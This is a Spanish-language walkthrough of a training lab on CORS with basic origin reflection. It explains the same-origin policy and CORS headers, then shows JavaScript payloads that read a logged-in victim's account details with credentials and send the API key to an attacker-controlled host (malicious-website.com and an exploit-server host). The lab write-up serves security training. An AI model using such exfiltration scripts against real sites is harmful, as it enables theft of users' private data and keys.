CORS Lab 1
Skills
- CORS vulnerability with basic origin reflection
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este sitio web
tiene una configuración insegura
de Cross-Origin Resource Sharing (CORS)
, ya que confía en todos los orígenes
. Para resolver
el laboratorio
, debemos crear un script de JavaScript
que utilice Cross-Origin Resource Sharing (CORS)
para obtener la clave API
del administrador
y subir el script
a nuestro servidor de explotación
. El laboratorio
se considerará resuelto cuando enviemos con éxito la clave API
del administrador
. Podemos iniciar sesión
en nuestra propia cuenta utilizando las credenciales wiener:peter
Resolución
Al acceder
a la web
vemos esto
Hacemos click
sobre My account
y nos logueamos
con las credenciales wiener:peter
Vemos que podemos cambiar
nuestro email
y una clave API
La Same-Origin Policy (SOP)
es un mecanismo de seguridad
del navegador web
que tiene como objetivo prevenir ataques entre sitios web
, esto lo hace impidiendo que un script de una página web acceda a datos de otra página web si no tienen el mismo origen
. El origen
está compuesto por un esquema URI (http://,https://,ftp://)
, un dominio (eneba.com)
y un número de puerto (:80)
. Por ejemplo, la siguiente URL http://normal-website.com/example/example.html
URL | ¿Acceso permitido? |
---|---|
http://normal-website.com/example/ | Sí (mismo esquema URI, dominio y puerto) |
http://normal-website.com/example2/ | Sí (mismo esquema URI, dominio y puerto) |
https://normal-website.com/example/ | No (esquema URI y puerto diferentes) |
http://en.normal-website.com/example/ | No (dominio diferente) |
http://www.normal-website.com/example/ | No (dominio diferente) |
http://normal-website.com:8080/example/ | No (puerto diferente) |
En el caso de Internet Explorer
permite el acceso a http://normal-website.com:8080/example/
porque no tiene en cuenta el número de puerto
al aplicar la política SOP
Cuando un navegador
envía una solicitud HTTP
desde un origen
a otro
, todas las cookies
, incluyendo las de sesión
asociadas al dominio destino
también se envían
como parte de la solicitud
. Esto significa que la respuesta
se generará dentro de la sesión del usuario
e incluirá cualquier dato privado
asociado a su cuenta
. Sin la SOP
, si visitamos un sitio malicioso
, este podría leer
nuestros correos de Gmail
, mensajes privados de Facebook
, etc
La SOP
generalmente controla el acceso
que tiene el código JavaScript
a contenido
cargado desde otro dominio
pero la carga de recursos cross-origin
está permitida. Por ejemplo, la SOP
permite incrustar imágenes
mediante la etiqueta <img>
, medios
con la etiqueta <video>
y JavaScript
mediante la etiqueta <script>
, sin embargo, aunque estos recursos externos
pueden ser cargados
por la página
, cualquier código JavaScript
en la página
no podrá leer el contenido
de estos recursos
Existen varias excepciones
a la SOP
Algunos
objetos
sonmodificables
pero nolegibles
entredominios
, como elobjeto location
o la propiedadlocation.href
eniframes
oventanas nuevas
Algunos
objetos
sonlegibles
pero nomodificables
entredominios
, como lapropiedad closed
y lapropiedad length
delobjeto window
(que almacena elnúmero de frames
en lapágina
)La
función replace
generalmente puede serllamada
entredominios
en elobjeto location
Se pueden
llamar
a ciertasfunciones
entredominios
. Por ejemplo, podemosinvocar
las funcionesclose
,blur
yfocus
en unaventana nueva
. Lafunción postMessage
también puede serusada
eniframes
yventanas nuevas
paraenviar mensajes
de undominio
a otro
Debido a requisitos heredados
, la SOP
es más permisiva
con las cookies
, por lo que suelen ser accesibles
desde todos los subdominios
de un sitio web
, aunque cada subdominio
sea técnicamente un origen diferente
. Podemos mitigar parcialmente
este riesgo
usando el atributo HttpOnly
en las cookies
Es posible relajar la SOP
usando document.domain
, esta propiedad especial permite flexibilizar la SOP
para un dominio específico
, pero solo si forma parte de tu Fully Qualified Domain Name (FQDN)
. Por ejemplo, podrías tener el dominio marketing.ejemplo.com
y querer leer
su contenido
desde ejemplo.com
, para hacerlo, ambos dominios deben configurar document.domain
como ejemplo.com
. Así, la SOP
permitirá el acceso entre los dos dominios pese a tener orígenes diferentes
En el pasado
, era posible asignar document.domain
a un Top-Level Domain (TLD)
(como .com
), lo que permitía acceso
entre cualquier dominio
bajo el mismo Top-Level Domain (TLD)
, pero los navegadores modernos
ya lo impiden
El Cross-Origin Resource Sharing (CORS)
es un mecanismo
del navegador
que permite el acceso controlado
a recursos
ubicados fuera de un dominio
determinado. Amplía y flexibiliza la SOP
. Sin embargo, también puede generar ataques entre dominios
si la política de CORS
de un sitio web
está mal configurada
o mal implementada
. El CORS
no protegerá contra ataques cross-origin
, como el CSRF
La SOP
es muy restrictiva
pero se han ideado varios métodos
para eludir sus restricciones
. Muchos sitios web
interactúan con subdominios
o sitios web de terceros
, por lo que se requiere acceso sin restricciones entre dominios
. Una relajación controlada
de la SOP
es posible mediante el uso de CORS
El protocolo CORS
emplea un grupo de cabeceras HTTP
que especifican qué dominios
y propiedades asociadas
están autorizados
, incluyendo si se permite acceso con credenciales
. Las cabeceras HTTP
se combinan
en un intercambio de cabeceras
entre el navegador
y el sitio externo
que se quiere consultar
La cabecera Access-Control-Allow-Origin
se incluye en la respuesta
de un sitio web
a una solicitud
proveniente de otro sitio web
, e indica qué origen
tiene permiso para acceder
al recurso solicitado
El navegador
compara el valor de Access-Control-Allow-Origin
con el origen
del sitio web
que realizó la petición
. Si coinciden
, permite el acceso
a la respuesta
, de lo contrario, lo bloquea
por restricciones de seguridad
La especificación CORS
establece las cabeceras HTTP
que se intercambian
entre servidores web
y navegadores
para controlar
las solicitudes de recursos
provenientes de dominios distintos
al origen
. Entre las cabeceras
definidas por CORS
, Access-Control-Allow-Origin
es la más importante
Esta cabecera
es enviada
por el servidor
como respuesta
cuando recibe una solicitud entre dominios
, la cual incluye automáticamente
la cabecera Origin
agregada por el navegador
Por ejemplo, supongamos que un sitio web
cuyo origen es normal-website.com
realiza la siguiente solicitud entre dominios
1
2
3
GET /data HTTP/1.1
Host: robust-website.com
Origin: https://normal-website.com
El servidor en robust-website.com
responde así
1
2
3
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
El navegador
permitirá que el código
ejecutado en normal-website.com
acceda a la respuesta
porque los orígenes
coinciden. La especificación Access-Control-Allow-Origin
permite múltiples orígenes
, el valor null
o la wildcard *
. Sin embargo, ningún navegador
admite múltiples orígenes
y existen restricciones
en el uso de las wildcards *
El comportamiento predeterminado
de las solicitudes de recursos cross-origin
es que se envíen sin credenciales
(como cookies
o cabeceras de Autorización
). No obstante, el servidor remoto
puede autorizar
el acceso
a la respuesta
cuando se incluyen credenciales
configurando la cabecera Access-Control-Allow-Credentials: true
Si el sitio solicitante
utiliza JavaScript
, puede indicar que envía cookies
con la petición
1
2
3
4
5
GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>
La respuesta
a esta solicitud
es la siguiente. En este caso, el navegador
permitirá que el sitio web solicitante
lea la respuesta
, siempre que la cabecera Access-Control-Allow-Credentials
esté configurada como true
. De lo contrario, el navegador bloqueará
el acceso
a la respuesta
1
2
3
4
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true
La cabecera Access-Control-Allow-Origin
soporta wildcards
1
Access-Control-Allow-Origin: *
Debemos tener en cuenta que las wildcards
no se pueden usar dentro
de otro valor
, por ejemplo, esta cabecera
no sería válida
1
Access-Control-Allow-Origin: https://*.normal-website.com
Afortunadamente, desde el punto de vista
de la seguridad
, el uso de wildcards
está restringido
, es decir, no se puede usar una wilcard
junto con una transferencia de credenciales (autenticación, cookies o certificados del lado del cliente) cross-origin
ya que esto sería peligrosamente inseguro
, exponiendo cualquier contenido autenticado
en el sitio objetivo
a todos
Dadas estas restricciones
, algunos servidores web
crean dinámicamente las cabeceras Access-Control-Allow-Origin
basándose en el origen especificado
por el cliente
. En consecuencia, la respuesta
a una solicitud entre dominios
luce de esta forma
1
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
El pre-flight check (verificación previa)
se añadió a CORS
para proteger a los recursos legacy
de las opciones de solicitud ampliadas
permitidas por CORS
. En ciertas circunstancias, cuando una solicitud entre dominios
incluye un método HTTP no estándar
o cabeceras personalizadas
, la solicitud cross-origin
va precedida de una petición
que utiliza el método OPTIONS
. El protocolo CORS
exige esta verificación inicial
para determinar qué métodos
y cabeceras
están permitidos antes de autorizar la solicitud entre dominios
. A esto se le denomina pre-flight check
El servidor
responde con una lista de métodos permitidos
, además del origen autorizado
, y el navegador
verifica si el método
utilizado por el sitio solicitante
está incluido en dicha lista
Por ejemplo, esta es una solicitud de preflight
que busca utilizar el método PUT
junto con una cabecera personalizada
llamada Special-Request-Header
1
2
3
4
5
6
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
El servidor
podría devolver
una respuesta
como la siguiente
1
2
3
4
5
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Esta respuesta establece los métodos permitidos (PUT, POST y OPTIONS)
y las cabeceras de solicitud permitidos (Special-Request-Header)
. En este caso particular, el servidor cross-domain
, es decir, el servidor
que acepta solicitudes
provenientes de dominios diferentes al suyo
, también permite
el envío
de credenciales
y la cabecera Access-Control-Max-Age
define un tiempo máximo
para almacenar
en caché
la respuesta pre-flight
para reutilizarla
. Si los métodos
y las cabeceras de solicitud
están permitidos (como en este ejemplo), el navegador
procesa la solicitud cross-origin
de la manera habitual. Las verificaciones preflight
agregan un round-trip (RTT)
adicional de solicitud HTTP
a la petición cross-domain
, lo que aumenta la sobrecarga (overhead)
de navegación
CORS
no proporciona protección contra ataques de CSRF
. Como CORS
es una relajación controlada
de la SOP
, una configuración deficiente de CORS
puede aumentar la posibilidad de ataques CSRF
o agravar su impacto
. Existen varias formas de realizar ataques CSRF
sin usar CORS
, por ejemplo, incluyendo formularios HTML
o incluyendo recursos cross-domain
Muchos sitios web modernos
utilizan CORS
para permitir el acceso desde subdominios
y sitios web de terceros
. Sin embargo, su implementación de CORS
puede contener errores
o ser demasiado permisiva
para garantizar que todo funcione, lo que puede resultar en vulnerabilidades explotables
En este laboratorio
vamos a explotar
una web
en la que la cabecera ACAO (Access-Control-Allow-Credentials) generada por el servidor se basa en la cabecera Origin especificada por el cliente
. Algunas aplicaciones
necesitan proporcionar acceso
a múltiples dominios
. Mantener una lista de dominios permitidos
requiere esfuerzo continuo
, y cualquier error
podría interrumpir la funcionalidad
. Por ello, algunas aplicaciones permiten acceso desde cualquier dominio
Un método para implementar esto consiste en leer la cabecera Origin
de las solicitudes e incluir en la respuesta una cabecera
que indique que el origen solicitante está permitido
. Por ejemplo, consideremos una aplicación
que recibe
la siguiente solicitud
1
2
3
4
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
Y posteriormente, responde
así
1
2
3
4
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
Estas cabeceras
indican que se permite el acceso desde el dominio solicitante (malicious-website.com)
y que las solicitudes cross-origin
pueden incluir cookies (Access-Control-Allow-Credentials: true)
, por lo que se procesarán dentro de la sesión del usuario
Dado que la aplicación refleja orígenes arbitrarios
en la cabecera Access-Control-Allow-Origin
, esto significa que absolutamente cualquier dominio
puede acceder
a los recursos
del dominio vulnerable
. Si la respuesta contiene información sensible
como una clave API
o un token CSRF
, podríamos obtener estos datos utilizando el siguiente script
en nuestro sitio web
1
2
3
4
5
6
7
8
9
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://vulnerable-website.com/sensitive-victim-data', true);
req.withCredentials = true;
req.send();
function reqListener() {
location = '//malicious-website.com/log?key=' + this.responseText;
};
Cuando accedemos /my-account
después de iniciar sesión
vemos que se manda una petición
a /accountDetails
y recibimos
una respuesta
con los datos
de nuestro usuario
. Lo destacable de esto es que el servidor
nos responde
con la cabecera Access-Control-Allow-Credentials: true
Si mandamos
esta petición
al Repeater
e inyectamos
la cabecera Origin: https://vulnerable.com
se ve reflejada
en la respuesta
Que el servidor
responda con la cabecera Access-Control-Allow-Credentials: true
no lo hace vulnerable. Lo que lo hace vulnerable es la combinación
de esa cabecera con Access-Control-Allow-Origin: *
o, como en este caso, que no valide la cabecera
y nos deje proporcionar a nosotros una Access-Control-Allow-Origin: https://vulnerable.com
. Cuando se cumplen estos requisitos
, podemos aprovechar estas políticas de CORS inseguras
para obtener datos de otros usuarios
. Para ello, nos dirigimos al Exploit server
y construimos este payload
1
2
3
4
5
6
7
8
9
10
11
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://0a4c0053031c0975805453b000ba00f4.web-security-academy.net/accountDetails', true);
req.withCredentials = true;
req.send();
function reqListener() {
location = 'https://exploit-0a6200f003d609a280ef523c01720026.exploit-server.net/log?key=' + this.responseText;
};
</script>
Pulsamos sobre View exploit
, nos dirigimos a Access log
y vemos cómo se ha hecho una petición
a nuestro exploit
y posteriormente se envían
los datos del usuario víctima
a nuestro servidor
Una vez que hemos comprobado que funciona pulsamos
sobre Deliver exploit to victim
, nos dirigimos al Access log
y vemos que recibimos información del usuario víctima
en formato URL encoded
Nos dirigimos al Decoder
, pegamos
la información obtenida y la URL decodeamos
Nos copiamos
al apiKey
, pulsamos en Submit solution
y la pegamos